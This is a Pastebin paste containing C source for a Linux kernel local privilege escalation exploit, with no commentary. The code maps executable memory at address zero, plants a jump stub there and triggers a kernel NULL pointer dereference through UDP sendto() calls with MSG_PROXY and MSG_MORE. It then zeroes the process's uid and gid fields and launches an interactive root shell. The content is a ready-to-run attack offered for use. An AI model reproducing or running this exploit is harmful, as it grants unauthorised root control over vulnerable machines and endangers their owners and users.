Advertisement
Guest User

Untitled

a guest
Dec 11th, 2019
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.86 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <string.h>
  4. #include <sys/socket.h>
  5. #include <sys/mman.h>
  6. #include <fcntl.h>
  7. #include <sys/personality.h>
  8.  
  9. unsigned int uid, gid;
  10. void get_root_uid(unsigned *task)
  11. {
  12. unsigned *addr=task;
  13. while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){
  14. addr++;
  15. }
  16. addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */
  17. addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */
  18. return;
  19. }
  20. void exploit();
  21. void kernel_code()
  22. {
  23. asm("exploit:\n"
  24. "push %eax\n"
  25. "movl $0xfffff000,%eax\n"
  26. "andl %esp,%eax\n"
  27. "pushl (%eax)\n"
  28. "call get_root_uid\n"
  29. "addl $4,%esp\n"
  30. "popl %eax\n");
  31. return;
  32. }
  33. void *kernel=kernel_code;
  34.  
  35. int main(int argc, char **argv)
  36. {
  37. int fd=0;
  38. char buf[1024];
  39. struct sockaddr x0x;
  40. void *zero_page;
  41.  
  42. uid=getuid();
  43. gid=getgid();
  44. if(uid==0){
  45. fprintf(stderr,"[-] check ur uid\n");
  46. return -1;
  47. }
  48. if(personality(0xffffffff)==PER_SVR4){
  49. if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
  50. perror("[-] mprotect()");
  51. return -1;
  52. }
  53. }
  54. else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
  55. perror("[-] mmap()");
  56. return -1;
  57. }
  58. *(unsigned long *)0x0=0x90909090;
  59. *(char *)0x00000004=0x90; /* +1 */
  60. *(char *)0x00000005=0xff;
  61. *(char *)0x00000006=0x25;
  62. *(unsigned long *)0x00000007=(unsigned long)&kernel;
  63. *(char *)0x0000000b=0xc3;
  64.  
  65. if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){
  66. perror("[-] socket()");
  67. return -1;
  68. }
  69. x0x.sa_family=AF_UNSPEC;
  70. memset(x0x.sa_data,0x82,14);
  71. memset((char *)buf,0,sizeof(buf));
  72. sendto(fd,buf,1024,MSG_PROXY|MSG_MORE,&x0x,sizeof(x0x));
  73. sendto(fd,buf,1024,0,&x0x,sizeof(x0x));
  74. if(getuid()==uid){
  75. printf("[-] exploit failed, try again\n");
  76. return -1;
  77. }
  78. close(fd);
  79. execl("/bin/sh","sh","-i",NULL);
  80. return 0;
  81. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement